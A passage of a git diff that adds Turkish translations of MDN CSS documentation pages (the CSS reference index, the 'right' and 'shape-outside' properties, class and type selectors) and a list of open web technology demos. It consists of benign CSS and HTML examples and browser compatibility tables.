href="/tr/docs/Web/CSS/CSS3">CSS3</a> ile bağlantılı özellik için de bir referans niteliğindedir.</span></p> + +<p>Ayrıca <code>-moz</code><a href="/en-US/docs/Web/CSS/Reference/Mozilla_Extensions"> </a>prefix'i aracılığıyla Gecko-spesifik olarak tanımlanan<a href="/en-US/docs/Web/CSS/Reference/Mozilla_Extensions"> Mozilla CSS Eklentileri</a> sayfasını ziyaret edebilir veya dilerseniz Webkit-spesifik olarak tanımlanan <a href="/en-US/docs/Web/CSS/CSS_Reference/Webkit_Extensions">WebKit CSS Eklentileri</a> sayfasını ziyaret edebilirsiniz. Tüm prefixed özellikleri incelemek için <a href="http://peter.sh/experiments/vendor-prefixed-css-property-overview/">Vendor-prefixed CSS Property Overview</a> ismi ile Peter Beverloo tarafından hazırlanan sayfayı ziyaret edebilirsiniz.</p> + +<div>{{CSS_Ref}}</div> + +<h2 id="Seçiciler">Seçiciler</h2> + +<ul> + <li>Temel Seçiciler + <ul> + <li><a href="/en-US/docs/Web/CSS/Type_selectors">Tip seçicileri</a> <code>elementname</code></li> + <li><a href="/en-US/docs/Web/CSS/Class_selectors">Sınıf seçicileri</a> <code>.classname</code></li> + <li><a href="/en-US/docs/Web/CSS/ID_selectors">ID seçiciler</a> <code>#idname</code></li> + <li><a href="/en-US/docs/Web/CSS/Universal_selectors">Evrensel seçiciler</a><code> * ns|* *|*</code></li> + <li><a href="/en-US/docs/Web/CSS/Attribute_selectors">Özellik seçicileri</a><code> [attr=value]</code></li> + </ul> + </li> + <li>Combinators + <ul> + <li><a href="/en-US/docs/Web/CSS/Adjacent_sibling_selectors">Bitişik kardeş(komşu) seçiciler</a> <code>A + B</code></li> + <li><a href="/en-US/docs/Web/CSS/General_sibling_selectors">Ardışık kardeş(komşu) seçiciler</a> <code>A ~ B</code></li> + <li><a href="/en-US/docs/Web/CSS/Child_selectors">Bir alt seviye seçiciler</a> <code>A > B</code></li> + <li><a href="/en-US/docs/Web/CSS/Descendant_selectors">Sıra bağımsız seçiciler</a> <code>A B</code></li> + </ul> + </li> + <li><a href="/en-US/docs/Web/CSS/Pseudo-elements">Pseudo-elementleri</a></li> + <li><a href="/en-US/docs/Web/CSS/Pseudo-classes">Pseudo-sınıfları</a></li> +</ul> + +<p>CSS3 özelleştirmeleri için <a href="http://www.w3.org/TR/selectors/#selectors">tüm seçicilerin listesi</a>.</p> + +<h2 id="CSS3_Kullanımı">CSS3 Kullanımı</h2> + +<p>Küçük boyutlu sayfalar oluşturmak için yeni bir teknoloji ortaya çıktı CSS3, ancak yakın zamana kadar düşük destekli olan CCS2.1 kullanılıyordu.</p> + +<ul> + <li><a href="/tr/docs/">CSS Medya sorgularını kullanımı</a></li> + <li><a href="/en-US/docs/Web/Guide/CSS/Counters">CSS Sayaçları kullanımı</a></li> + <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_gradients">CSS gradyanların kullanımı</a></li> + <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transforms">CSS Dönüşümleri kullanımı</a></li> + <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS Animasyonları kullanımı</a></li> + <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">CSS Geçişleri kullanma</a></li> + <li><a href="/en-US/docs/Web/Guide/CSS/Using_multiple_backgrounds">CSS Çoklu Arkaplan kullanımı</a></li> + <li><a href="/en-US/docs/Web/Guide/CSS/Flexible_boxes">CSS Esnek-kutu kullanımı</a></li> + <li><a href="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts" title="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts">CSS Çok sütunlu düzenlerde kullanma</a></li> +</ul> + +<h2 id="Kavramlar">Kavramlar</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/Syntax">CSS syntax</a></li> + <li><a href="/en-US/docs/Web/CSS/At-rule">At-rule</a></li> + <li><a href="/en-US/docs/Web/CSS/Comments">Comments</a></li> + <li><a href="/en-US/docs/Web/CSS/Specificity">Specificity</a></li> + <li><a href="/en-US/docs/Web/CSS/initial_value">Initial value</a></li> + <li><a href="/en-US/docs/Web/CSS/inheritance">Inheritance</a></li> + <li><a href="/en-US/docs/Web/CSS/specified_value">Specified value</a></li> + <li><a href="/en-US/docs/Web/CSS/computed_value">Computed value</a></li> + <li><a href="/en-US/docs/Web/CSS/used_value">Used value</a></li> + <li><a href="/en-US/docs/Web/CSS/actual_value">Actual value</a></li> + <li><a href="/en-US/docs/Web/CSS/box_model">Box model</a></li> + <li><a href="/en-US/docs/Web/CSS/Replaced_element">Replaced element</a></li> + <li><a href="/en-US/docs/Web/CSS/Value_definition_syntax">Value definition syntax</a></li> +</ul> diff --git a/files/tr/web/css/right/index.html b/files/tr/web/css/right/index.html new file mode 100644 index 0000000000..3c5c003132 --- /dev/null +++ b/files/tr/web/css/right/index.html @@ -0,0 +1,157 @@ +--- +title: right +slug: Web/CSS/right +translation_of: Web/CSS/right +--- +<div>{{CSSRef}}</div> + +<h2 id="Summary" name="Summary">Özet</h2> + +<p>Bu CSS değeri pozisyonlanan elemanların yerleştirilmesinde rol alır.</p> + +<p>{{Cssxref("position")}}<code>:</code> <code>absolute</code> or <code>position:</code> <code>fixed</code> olarak yerleştirilmiş elemanların sağ marjin kenarı ile bu elemanı barındıran elemanın sağ kenarı arasındaki mesafeyi belirler.</p> + +<p><code>right</code> değerinin pozisyonlanmamış elemanlar üzerinde etkisi yoktur.</p> + +<p>Hem <code>right</code> hem de {{cssxref("left")}} değerleri tanımlanmış ise, elemanın pozisyonu gereğinden daha detaylı tanımlanmış olarak kabul edilir. Bu durumda, barındıran elemanın metin yerleşimi soldan sağa ise {{cssxref("left")}} değeri, sağdan sola ise <code>right</code> değeri geçerli kabul edilir. Soldan sağa yerleşimlerde <code>right</code> değeri <code>-left</code>, sağdan sola yerleşimlerde <code>left</code> değeri -<code>right</code> olarak tekrar hesaplanır.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Syntax" name="Syntax">Yazım</h2> + +<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Formal syntax</a>: {{csssyntax("right")}} +</pre> + +<pre>right: 3px /* <uzunluk> değeri */ +right: 2.4em + +right: 10% /* barındıran bloğun yüzdesi olarak */ + +right: auto + +right: inherit +</pre> + +<h3 id="Values" name="Values">Değerler</h3> + +<dl> + <dt><code><uzunluk></code></dt> + <dd>Negatif, null veya pozitif {{cssxref("<length>")}} değerdir. + <ul> + <li>Kesin yerleştirilen elemanlar için barındıran bloğun sağ kenarına olan mesafeyi belirler;</li> + <li>Göreceli yerleştirilen elemanlar için, elemanın normal akış içerisinde yerleşim değeri uygulanmazken bulunacağı pozisyondan sağa doğru öteleneceği mesafeyi belirler.</li> + </ul> + </dd> + <dt><code><yüzde></code></dt> + <dd>Uzunluk değerinin barındıran bloğun yüzdesi olarak ifadesidir. {{cssxref("<percentage>")}}. </dd> + <dt><code>auto</code></dt> + <dd>Is a keyword that represents: + <ul> + <li>for absolutely positioned elements, the position the element based on the {{Cssxref("left")}} property and treat <code>width: auto</code> as a width based on the content.</li> + <li>for relatively positioned elements, the right offset the element from its original position based on the {{Cssxref("left")}} property, or if <code>left</code> is also <code>auto</code>, do not offset it at all.</li> + </ul> + </dd> + <dt><code>inherit</code></dt> + <dd>Is a keyword indicating that the value is the same than the computed value from its parent element (which may not be its containing block). This computed value is then handled like it was a {{cssxref("<length>")}}, {{cssxref("<percentage>")}} or the <code>auto</code> keyword.</dd> +</dl> + +<h2 id="Examples" name="Examples">Examples</h2> + + +<pre class="brush: css; highlight:[16]">#example_3 { + width: 600px; + height: 400px; + background-color: #FFC7E4; + position: relative; + top: 20px; + left: 20px; +} + +#example_4 { + width:200px; + height:200px; + background-color: #FFD7C2; + position:absolute; + bottom:10px; + right: 20px; +}</pre> + +<pre class="brush: html"> <div id="example_3">Example 3</div> + <div id="example_4">Example 4</div> +</pre> + +<p>{{LiveSampleLink('Examples', 'Example Demo Link')}}</p> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'right')}}</td> + <td>{{Spec2('CSS3 Transitions')}}</td> + <td>Defines <code>right</code> as animatable.</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'visuren.html#propdef-right', 'right')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1")}}</td> + <td>5.5</td> + <td>5.0</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoMobile("1")}}</td> + <td>6.0</td> + <td>6.0</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/tr/web/css/shape-outside/index.html b/files/tr/web/css/shape-outside/index.html new file mode 100644 index 0000000000..1e4aed1e56 --- /dev/null +++ b/files/tr/web/css/shape-outside/index.html @@ -0,0 +1,208 @@ +--- +title: shape-outside +slug: Web/CSS/shape-outside +tags: + - Boundaries + - CSS + - CSS Property + - CSS Shapes + - Float Area + - Property + - Reference + - Shape + - margin + - 'recipe:css-property' + - shape-outside + - wrapping +translation_of: Web/CSS/shape-outside +--- +<div>{{CSSRef}}</div> + +<p><span class="seoSummary">The <strong><code>shape-outside</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> property defines a shape—which may be non-rectangular—around which adjacent inline content should wrap.</span> By default, inline content wraps around its margin box; <code>shape-outside</code> provides a way to customize this wrapping, making it possible to wrap text around complex objects rather than simple boxes.</p> + +<div>{{EmbedInteractiveExample("pages/css/shape-outside.html")}}</div> + + + +<h2 id="Syntax">Syntax</h2> + +<pre class="brush:css no-line-numbers notranslate">/* Keyword values */ +shape-outside: none; +shape-outside: margin-box; +shape-outside: content-box; +shape-outside: border-box; +shape-outside: padding-box; + +/* Function values */ +shape-outside: circle(); +shape-outside: ellipse(); +shape-outside: inset(10px 10px 10px 10px); +shape-outside: polygon(10px 10px, 20px 20px, 30px 30px); +shape-outside: path('M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z'); + +/* <url> value */ +shape-outside: url(image.png); + +/* <gradient> value */ +shape-outside: linear-gradient(45deg, rgba(255, 255, 255, 0) 150px, red 150px); + +/* Global values */ +shape-outside: initial; +shape-outside: inherit; +shape-outside: unset; +</pre> + +<p>The <code>shape-outside</code> property is specified using the values from the list below, which define the <em>float area</em> for <em>float elements</em>. The float area determines the shape around which inline content (float elements) wrap.</p> + +<h3 id="Values">Values</h3> + +<dl> + <dt><code>none</code></dt> + <dd>The float area is unaffected. Inline content wraps around the element's margin box, like usual.</dd> + <dt><code><shape-box></code></dt> + <dd>The float area is computed according to the shape of a float element's edges (as defined by the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/box_model">CSS box model</a>). This can be <code>margin-box</code>, <code>border-box</code>, <code>padding-box</code>, or <code>content-box</code>. The shape includes any curvature created by the {{cssxref("border-radius")}} property (behavior which is similar to {{cssxref("background-clip")}}).</dd> + <dd> + <dl> + <dt><code>margin-box</code></dt> + <dd><span style="line-height: 1.5;">Defines the shape enclosed by the outside margin edge. The corner radii of this shape are determined by the corresponding {{cssxref("border-radius")}} and {{cssxref("margin")}} values. If the <code>border-radius / margin</code> </span>ratio is <code>1</code> or more, then the margin box corner radius is <code>border-radius + margin</code>. If the ratio is less than <code>1</code>, then the margin box corner radius is <code>border-radius + (margin * (1 + (ratio-1)^3))</code>.</dd> + <dt><code>border-box</code></dt> + <dd> + <p>Defines the shape enclosed by the outside border edge. The shape follows the normal border radius shaping rules for the outside of the border.</p> + </dd> + <dt><code>padding-box</code></dt> + <dd> + <p>Defines the shape enclosed by the outside padding edge. The shape follows the normal border radius shaping rules for the inside of the border.</p> + </dd> + <dt><code>content-box</code></dt> + <dd> + <p>Defines the shape enclosed by the outside content edge. Each corner radius of this box is the larger of <code>0</code> or <code>border-radius - border-width - padding</code>.</p> + </dd> + </dl> + </dd> + <dt>{{cssxref("<basic-shape>")}}</dt> + <dd>The float area is computed based on the shape created by of one of <code><a href="/en-US/docs/Web/CSS/basic-shape#inset()">inset()</a></code>, <code><a href="/en-US/docs/Web/CSS/basic-shape#circle()">circle()</a></code>, <code><a href="/en-US/docs/Web/CSS/basic-shape#ellipse()">ellipse()</a></code>, <code><a href="/en-US/docs/Web/CSS/basic-shape#polygon()">polygon()</a></code>, or as added in the level 2 specification <code>path()</code>. If a <code><shape-box></code> is also supplied, it defines the reference box for the <code><basic-shape></code> function. Otherwise, the reference box defaults to <code>margin-box</code>.</dd> + <dt>{{cssxref("<image>")}}</dt> + <dd>The float area is extracted and computed based on the alpha channel of the specified {{cssxref("<image>")}} as defined by {{cssxref("shape-image-threshold")}}.</dd> + <dd> + <div class="note"><strong>Note:</strong> {{glossary("User agent", "User agents")}} must use the potentially CORS-enabled fetch method defined by the HTML5 specification for all URLs in a <code>shape-outside</code> value. When fetching, user agents must use "Anonymous" mode, set the referrer source to the stylesheet's URL, and set the origin to the URL of the containing document. If this results in network errors such that there is no valid fallback image, the effect is as if the value <code><strong>none</strong></code> had been specified.</div> + </dd> +</dl> + +<h2 id="Interpolation">Interpolation</h2> + +<p>When animating between one <code><basic-shape></code> and a second, the rules below are applied. The values in the shape functions interpolate as a simple list. The list values interpolate as {{cssxref("<length>")}}, {{cssxref("<percentage>")}}, or {{cssxref("calc")}} where possible. If list values are not one of those types but are identical (such as finding <code>nonzero</code> in the same list position in both lists), those values do interpolate.</p> + +<ul> + <li>Both shapes must use the same reference box.</li> + <li>If both shapes are the same type, that type is <code>ellipse()</code> or <code>circle()</code>, and none of the radii use the <code>closest-side</code> or <code>farthest-side</code> keywords, interpolate between each value in the shape functions.</li> + <li>If both shapes are of type <code>inset()</code>, interpolate between each value in the shape functions.</li> + <li>If both shapes are of type <code>polygon()</code>, both polygons have the same number of vertices, and use the same <code><fill-rule></code>, interpolate between each value in the shape functions.</li> + <li>In all other cases no interpolation occurs.</li> +</ul> + +<h2 id="Formal_definition">Formal definition</h2> + +<p>{{CSSInfo}}</p> + +<h2 id="Formal_syntax">Formal syntax</h2> + +<pre class="syntaxbox notranslate">{{csssyntax}}</pre> + +<h2 id="Examples">Examples</h2> + +<h3 id="Funneling_text">Funneling text</h3> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html notranslate"><div class="main"> + <div class="left"></div> + <div class="right"></div> + <p> + Sometimes a web page's text content appears to be + funneling your attention towards a spot on the page + to drive you to follow a particular link. Sometimes + you don't notice. + </p> +</div></pre> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css; highlight[13,14,21,22] notranslate">.main { + width: 530px; +} + +.left, +.right { + width: 40%; + height: 12ex; + background-color: lightgray; +} + +.left { + -webkit-shape-outside: polygon(0 0, 100% 100%, 0 100%); + shape-outside: polygon(0 0, 100% 100%, 0 100%); + float: left; + -webkit-clip-path: polygon(0 0, 100% 100%, 0 100%); + clip-path: polygon(0 0, 100% 100%, 0 100%); +} + +.right { + -webkit-shape-outside: polygon(100% 0, 100% 100%, 0 100%); + shape-outside: polygon(100% 0, 100% 100%, 0 100%); + float: right; + -webkit-clip-path: polygon(100% 0, 100% 100%, 0 100%); + clip-path: polygon(100% 0, 100% 100%, 0 100%); +} + +p { + text-align: center; +}</pre> + +<h4 id="Result">Result</h4> + +<p>{{EmbedLiveSample("Funneling_text", "100%", 130)}}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS Shapes', '#shape-outside-property', 'shape-outside')}}</td> + <td>{{Spec2('CSS Shapes')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('CSS Shapes 2', '#shape-outside-property', 'shape-outside')}}</td> + <td>{{Spec2('CSS Shapes 2')}}</td> + <td>Adds the <code>path()</code> value</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("css.properties.shape-outside")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/CSS_Shapes">CSS Shapes</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Shapes/Overview_of_CSS_Shapes">Overview of CSS Shapes</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Box_Values">Shapes from Box Values</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes">Basic Shapes</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Images">Shapes from Images</a></li> + <li>{{cssxref("<basic-shape>")}}</li> + <li>{{cssxref("shape-margin")}}</li> + <li>{{cssxref("shape-image-threshold")}}</li> +</ul> diff --git a/files/tr/web/css/sınıf_seçicileri/index.html b/files/tr/web/css/sınıf_seçicileri/index.html new file mode 100644 index 0000000000..d735ceed7c --- /dev/null +++ b/files/tr/web/css/sınıf_seçicileri/index.html @@ -0,0 +1,124 @@ +--- +title: Sınıf seçicileri +slug: Web/CSS/Sınıf_seçicileri +tags: + - CSS + - CSS Referans + - Yeni başlayan + - seçiciler +translation_of: Web/CSS/Class_selectors +--- +<div>{{CSSRef("Selectors")}}</div> + +<p>Sınıf <code>(<em>class</em>)</code> seçicisi, bir HTML belgesindeki elementin <font face="Consolas, Liberation Mono, Courier, monospace">{{htmlattrxref("class")}} </font>özniteliğinin içeriği ile eşleşir. <font face="Consolas, Liberation Mono, Courier, monospace">{{htmlattrxref("class")}} özniteliği boşlukla ayrılmış değerler listesi olarak tanımlanabilir, bu durumda stil ataması yapılabilmesi için seçicinin özniteliğe verilen değerlerden biri ile birebir eşleşmesi gerekir.</font></p> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">.sınıfismi { <em>style properties</em> }</pre> + +<p>Note this is equivalent to the following {{Cssxref("Attribute_selectors", "attribute selector")}}:</p> + +<pre class="syntaxbox">[class~=sınıfismi] { <em>style properties</em> }</pre> + +<h2 id="Örnek">Örnek</h2> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css">span.classy { + background-color: DodgerBlue; +} +</pre> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><span class="classy">Here's a span with some text.</span> +<span>Here's another.</span> +</pre> + +<p>{{EmbedLiveSample('Example', 200, 50)}}</p> + +<h2 id="Spesifikasyon">Spesifikasyon</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS4 Selectors', '#class-html', 'class selectors')}}</td> + <td>{{Spec2('CSS4 Selectors')}}</td> + <td>No changes</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Selectors', '#class-html', 'class selectors')}}</td> + <td>{{Spec2('CSS3 Selectors')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'selector.html#class-html', 'child selectors')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#class-as-selector', 'child selectors')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/tr/web/css/tip_secicileri/index.html b/files/tr/web/css/tip_secicileri/index.html new file mode 100644 index 0000000000..f24f899681 --- /dev/null +++ b/files/tr/web/css/tip_secicileri/index.html @@ -0,0 +1,125 @@ +--- +title: Tip Seçicileri +slug: Web/CSS/Tip_secicileri +tags: + - CSS + - CSS referansı + - Yeni başlayan + - seçiciler +translation_of: Web/CSS/Type_selectors +--- +<div>{{CSSRef("Selectors")}}</div> + +<h2 id="Tanım">Tanım</h2> + +<p><em>Tip (type)</em> seçicisi, HTML içerisinde tanımlanmış elementin tipi ile eşleşir. HTML elementinden<em> HTML tags </em>diye de bahsedilebilir. Örneğin, HTML'de <code><em><h1>, <a>, <p> </em></code>tag'leri birer elementtir. Bu seçicinin kullanımı oldukça sadedir. Sadece elementin isminin belirtilmesi yeterlidir.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="syntaxbox">element { <em>stil özellikleri</em> } +</pre> + +<h2 id="Örnek" name="Örnek">Örnek</h2> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">span </span><span class="punctuation token">{</span> + <span class="property token">background-color</span><span class="punctuation token">:</span> DodgerBlue<span class="punctuation token">;</span> + <span class="property token">color</span><span class="punctuation token">:</span> <span class="hexcode token">#ffffff</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><span>span elementi</span> +<p>p (paragraf) elementi</p> +<span>tekrar span elementi</span></pre> + +<p>{{ EmbedLiveSample('Örnek', 200, 150) }}</p> + +<p> </p> + +<h2 id="Spesifikasyonlar">Spesifikasyonlar</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spesifikasyon</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}</td> + <td>{{Spec2('CSS4 Selectors')}}</td> + <td>Değişiklik yok</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}</td> + <td>{{Spec2('CSS3 Selectors')}}</td> + <td>Değişiklik yok</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Baştaki tanım</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel destek</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Android için Chrome</th> + <th>Firefox Mobil (Gecko)</th> + <th>IE Mobil</th> + <th>Opera Mobil</th> + <th>Safari Mobil</th> + </tr> + <tr> + <td>Temel destek</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/tr/web/demos_of_open_web_technologies/index.html b/files/tr/web/demos_of_open_web_technologies/index.html new file mode 100644 index 0000000000..aea815dff2 --- /dev/null +++ b/files/tr/web/demos_of_open_web_technologies/index.html @@ -0,0 +1,147 @@ +--- +title: Demos of open web technologies +slug: Web/Demos_of_open_web_technologies +translation_of: Web/Demos_of_open_web_technologies +--- +<p>Mozilla supports a wide range of open web technologies and we encourage them to use these technologies. This page provides links to demos of popular technologies, including some of the demo studios that have been active in the past. A good application or presentation about open web technologies If you know, please add the application or promotion you know here as a link to an appropriate section.</p> + +<h2 id="2D_Graphics">2D Graphics</h2> + +<h3 id="APNG" name="APNG">APNG</h3> + +<ul> + <li><a class="external" href="http://people.mozilla.com/~dolske/apng/demo.html">Justin's demo</a> (works when saved locally)</li> +</ul> + +<h3 id="SVG" name="SVG">Canvas</h3> + +<ul> + <li><a class="external" href="http://www.blobsallad.se/">An interactive blob using javascript and canvas (fun)</a></li> + <li><a class="external" href="http://blobsallad.se/article/" title="http://blobsallad.se/article/">Blob's demos</a></li> + <li><a class="external" href="http://glimr.rubyforge.org/cake/canvas.html">Canvas Animation Kit Experiment (CAKE)</a></li> + <li><a class="external" href="http://www.xs4all.nl/~peterned/3d/" title="http://www.xs4all.nl/~peterned/3d/">Canvas3D & Flickr</a></li> + <li><a class="external" href="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html" title="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html">Playing with Canvas</a></li> + <li><a class="external" href="http://langexplr.blogspot.com/2008/11/using-canvas-html-element.html" title="http://langexplr.blogspot.com/2008/11/using-canvas-html-element.html">Using the Canvas Html element5</a></li> + <li><a class="external" href="/samples/raycaster/RayCaster.html" title="https://developer.mozilla.org/editor/fckeditor/core/editor/samples/raycaster/RayCaster.html">RayCaster</a></li> + <li><a class="external" href="http://jsmsxdemo.googlepages.com/jsmsx.html" title="http://jsmsxdemo.googlepages.com/jsmsx.html">MSX Emulator</a></li> + <li><a class="external" href="http://processingjs.org/exhibition/" title="http://dev.jquery.com/~john/processing.js/examples/basic/">processing.js</a></li> + <li><a class="external" href="http://glimr.rubyforge.org/cake/missile_fleet.html" title="http://glimr.rubyforge.org/cake/missile_fleet.html">Missile fleet</a></li> + <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/fireworks2.6rt.html" title="http://glimr.rubyforge.org/cake/demos/fireworks2.6rt.html">FireWorks</a></li> + <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/canvas_ash.html" title="http://glimr.rubyforge.org/cake/demos/canvas_ash.html">Canvas ash1</a></li> + <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/canvas_ash2.html" title="http://glimr.rubyforge.org/cake/demos/canvas_ash2.html">Canvas ash2</a></li> + <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/canvas_ash8.html" title="http://glimr.rubyforge.org/cake/demos/canvas_ash8.html">Canvas ash8</a></li> + <li><a class="external" href="http://gyu.que.jp/jscloth/" title="http://gyu.que.jp/jscloth/">3D on 2D Canvas</a></li> + <li><a href="http://viliusle.github.io/miniPaint/">miniPaint - Image editor </a>(<a href="https://github.com/viliusle/miniPaint">source code</a>)</li> +</ul> + +<h3 id="SVG" name="SVG">SVG</h3> + +<ul> + <li><a class="external" href="http://www.kde-look.org/CONTENT/content-files/19524-gearflowers.svg.gz">Gearflowers image</a> Don't forget to zoom in (works when saved locally)</li> + <li><a class="external" href="http://people.mozilla.com/~vladimir/demos/photos.svg">SVG photo demo</a> (visual effects and interaction)</li> + <li><a class="external" href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">Bubblemenu</a> (visual effects and interaction)</li> + <li><a class="external" href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">HTML transformations</a> using <code>foreignObject</code> (visual effects and transforms)</li> + <li><a class="external" href="http://svg-whiz.com/svg/linguistics/theCreepyMouth.svg">Phonetics Guide</a> (interactive)</li> + <li><a class="external" href="http://www.lutanho.net/svgvml3d/platonic.html">3D objects demo</a> (interactive)</li> + <li><a class="external" href="http://www.themaninblue.com/experiment/Blobular/" title="http://www.themaninblue.com/experiment/Blobular/">Blobular</a> (interactive)</li> + <li><a class="external" href="http://www.double.co.nz/video_test/video.svg">Video embedded in SVG</a> (or use the <a class="external" href="http://www.double.co.nz/video_test/video_svg.tar.bz2">local download</a>)</li> + <li><a href="http://summerstyle.github.io/summer/">Summer HTML image map 